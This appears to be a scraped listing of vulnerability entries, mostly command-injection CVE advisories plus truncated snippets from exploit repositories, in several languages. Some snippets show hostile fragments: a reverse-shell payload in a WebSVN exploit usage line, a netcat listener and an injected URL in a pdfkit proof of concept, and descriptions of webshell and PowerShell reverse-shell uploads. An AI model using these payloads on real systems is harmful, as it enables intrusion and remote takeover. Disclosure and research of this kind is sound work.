CVE-2026-105105: Missing Authentication for Critical Function

CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker ait-server in NASA-AMMOS AIT-Core through 3.1.1 allows an unauthenticated remote attacker with network access to the ZeroMQ message bus to inject spacecraft command data, exfiltrate command a...

PT-2026-104572

Name of the Vulnerable Software and Affected Versions NASA-AMMOS AIT-Core versions prior to 3.1.2 Description The ait.core.server telemetry and command broker ait-server lacks authentication for critical functions. By default, the ZeroMQ message bus binds its XSUB and XPUB sockets to all network...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 هذا استغلال لثغرة CVE-2021-3205، وهي ثغرة ويب تسمح بحقن الأوامر في مسار search.php، ويسمح هذا الاستغلال بتنفيذ الأوامر. المتطلبات optparse, signal, requests الاستخدام ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

PDFkit-CMD-Injection

PDFkit-CMD-Injection تفاصيل CVE-2022-25765 الوصف حزمة pdfkit منذ الإصدار 0.0.0 معرضة لثغرة حقن الأوامر، حيث لا يتم تنقية عنوان URL بشكل صحيح. PoC ابدأ خادم HTTP 1- python3 -m http.server 80 ابدأ مستمع netcat 2- nc -lnvp 'Target Port' أرسل طلبًا 3- http://"TARGETADDRESS:Target PORT"//?name='%20bas...

CVE-2026-105050

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...

CVE-2026-105050

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...

CVE-2026-105050

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...

CVE-2026-105050

Versions of PeaZip prior to 11.3.0 are vulnerable to OS command injection when running in a non-default configuration. The root cause is the mishandling of the string "quotation character already used in the string" when processing a filename in an archive . Impacting the local system, this vulne...

CVE-2017-18044-Exploit

CVE-2017-18044 POC أصلي هذا POC بسيط جدًا لثغرة حقن الأوامر CVE-2017-18044 في Commvault v11 SP5 والإصدارات الأقدم. بالنسبة لمستخدمي Metasploit، تتضمن الحزمة أيضًا نسخة Ruby من الاستغلال في أحدث إصدار. https://www.rapid7.com/db/modules/exploit/windows/misc/commvaultcmdexec الاستخدام: comvlt -h...

CVE-2025-64155-hunter

CVE-2025-64155 स्कैनर Phoenix Monitor सेवा में कमांड इंजेक्शन भेद्यता CVE-2025-64155 का पता लगाने के लिए एक Python स्कैनर। विवरण CVE-2025-64155 Phoenix Monitor सेवा में एक कमांड इंजेक्शन भेद्यता है जो handleStorageRequest कमांड कमांड ID: 1075724911 में clusterurl पैरामीटर के माध्यम से दूरस्थ कोड...

CVE-2022-36267-PoC

CVE-2022-36267 - Airspan AirSpot 5410 अनधिकृत रिमोट कमांड इंजेक्शन। अवलोकन इस रिपॉजिटरी में CVE-2022-36267 का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC रिवर्स शेल स्क्रिप्ट है, जो Airspan AirSpot 5410 उपकरणों में एक गंभीर कमजोरी है। यह स्क्रिप्ट एक व्यावहारिक प्रदर्शन है, जो ब्लॉग पोस्ट "Airspan...

CVE-2026-65643-PoC-Toolkit

CVE‑2026‑65643 – مجموعة أدوات استغلال RCE في cPanel Domain Parking للاستخدام الأخلاقي فقط – اختبار أمني مصرح به يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA الولايات المتحدة، وقانون إساءة استخد...

CVE-2023-45878-POC

CVE-2023-45878-POC CVE-2023-45878 का पीओसी POC जिब्बन LMS के लिए जो XAMPP विंडोज पर चलता है। कमांड इंजेक्शन के लिए shell.php नामक एक वेबशेल अपलोड करता है। रिवर्स शेल के लिए एक पावरशेल रिवर्स शेल ps1 स्क्रिप्ट जिसे shell.ps1 कहा जाता है, अपलोड करता है जो shell.php का उपयोग करके लक्ष्य मशीन पर अपलो...

CVE-2026-75937 OS Command Injection in Digi Accelerated Linux (DAL OS)

A specially crafted HTTP POST request to the web administration interface allows an unauthenticated attacker to execute arbitrary operating system commands with root privileges on the affected device. Disable the web server when not configuring the device...

CVE-2026-75937 OS Command Injection in Digi Accelerated Linux (DAL OS)

A specially crafted HTTP POST request to the web administration interface allows an unauthenticated attacker to execute arbitrary operating system commands with root privileges on the affected device. Disable the web server when not configuring the device...

Command Injection

Overview @nx/docker is a The Nx Plugin for Docker to aid in containerizing projects. Affected versions of this package are vulnerable to Command Injection via the docker tag, docker push, and docker images calls in the release pipeline, where registry URL, repository name, version scheme,...

CVE-2018-1000533

GitList 0.6.0 रिमोट कोड निष्पादन भेद्यता CVE-2018-1000533 GitList एक आधुनिक Git रिपॉजिटरी व्यूअर है। GitList 0.6.0 और उससे निचले संस्करणों में, सिस्टम फ़ंक्शन को अनुचित रूप से सत्यापित इनपुट पास करने की एक भेद्यता मौजूद है, जिससे PHP उपयोगकर्ता के अधिकारों से मनमाना कमांड निष्पादित किया जा सकता ह...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - استغلال تنفيذ الأوامر عن بعد في لوحة Pterodactyl موسم HTB 10 - شرح آلة Pterodactyl نظرة عامة الهدف: آلة Pterodactyl HTB صعوبة متوسطة CVE: CVE-2025-49132 الخطورة: حرجة CVSS 9.8 نوع الهجوم: تنفيذ أوامر عن بعد بدون مصادقة المتأثر: لوحة Pterodactyl إصدار...

CVE-2026-63766_exploit

CVE-2026-63766 — GPT-SoVITS : injection de commandes OS non authentifiée Exécution de code à distance non authentifiée dans l'interface web Gradio de GPT-SoVITS webui.py. Les fonctions utilitaires de traitement audio openasr, openslice, opendenoise, openuvr5 interpolent des valeurs de chemin de...

CVE-2026-104019

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...